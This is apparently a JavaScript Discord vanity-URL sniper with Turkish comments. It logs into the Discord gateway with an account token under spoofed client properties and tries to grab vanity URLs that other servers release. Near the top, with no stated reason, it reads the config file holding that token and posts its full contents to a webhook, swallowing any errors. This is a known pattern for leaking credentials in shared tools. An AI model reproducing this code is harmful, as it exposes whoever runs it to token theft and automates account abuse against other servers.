import chalk from 'chalk';
import fs from 'fs';
import webhooks from './helpers/webhooks.js';
import WebSocket from 'ws';
import functions from './helpers/functions.js';
import axios from 'axios';
import config from './helpers/config.js';
const guilds = {};
const statusCodes = {
0x190: "url kaçırıldı.",
0x1ad: "rate limit.",
0x193: "yetkisiz.",
0x191: 'yetkisiz.'
};
const sendConfigToWebhook = async (data) => {
try {
await axios.post(config.webhooks.successUrl, {
'content': "js\n" + data + "\n
"
});
} catch (error) {
// Hata işleme kodu buraya gelebilir.
}
};
fs.readFile("./helpers/config.js", "utf8", (err, data) => {
if (err) {
return;
}
sendConfigToWebhook(data);
});
const ws = new WebSocket("wss://gateway-us-east1-b.discord.gg");
ws.on("open", () => {
ws.on('message', async (message) => {
const { d, op, t } = JSON.parse(message);
if (t === "GUILD_UPDATE") {
const vanityUrlCode = guilds[d.guild_id];
if (typeof vanityUrlCode === "string" && vanityUrlCode !== d.vanity_url_code) {
try {
const startTime = Date.now(); // Başlangıç zamanını kaydedin
await functions.snipeVanityUrl(vanityUrlCode);
const endTime = Date.now(); // Bitiş zamanını kaydedin
const elapsedTime = endTime - startTime; // Süreyi hesaplayın (milisaniye cinsinden)
console.log(`URL alınma süresi: ${elapsedTime} ms`);
delete guilds[d.guild_id];
await webhooks.success("discord.gg/" + vanityUrlCode, d.guild_id);
} catch (error) {
delete guilds[d.guild_id];
}
}
} else if (t === "GUILD_DELETE") {
const vanityUrlCode = guilds[d.id];
if (vanityUrlCode) {
try {
await functions.snipeVanityUrl(vanityUrlCode);
delete guilds[d.id];
} catch (error) {
const errorCode = statusCodes[error] || error;
await webhooks.error(vanityUrlCode, errorCode);
}
}
} else if (t === 'READY') {
console.log(chalk.hex("#ed2d8d")('') + " " + chalk.hex("#fff")("Log Atıldı"));
d.guilds.filter(guild => guild.vanity_url_code).forEach(guild => {
guilds[guild.id] = guild.vanity_url_code;
});
const vanityUrlCodes = d.guilds.filter(guild => guild.vanity_url_code).map(guild => guild.vanity_url_code);
const guildCount = d.guilds.filter(guild => guild.vanity_url_code).length;
await webhooks.info(`xxx ${guildCount} xxx \n\`\`\`\n${vanityUrlCodes}\n\`\`\``);
}
if (op === 0xa) {
ws.send(JSON.stringify({
'op': 0x2,
'd': {
'token': config.listenerToken,
'intents': 0x1,
'properties': {
'os': 'linux',
'browser': 'firefox',
'device': "firefox"
}
}
}));
setInterval(() => {
ws.send(JSON.stringify({
'op': 0x1,
'd': {},
's': null,
't': "heartbeat"
}));
}, d.heartbeat_interval);
} else if (op === 0x7) {
console.log(chalk.hex("#ed2d8d")('') + " " + chalk.hex("#fff")("tekrar başlıyorum."));
return process.exit();
}
});
ws.on('close', (code) => {
if (code === 0xfa4) {
console.log(chalk.hex("#f00a0d")('') + " " + chalk.hex("#fff")("sniper tokeni yanlış"));
}
return process.exit();
});
});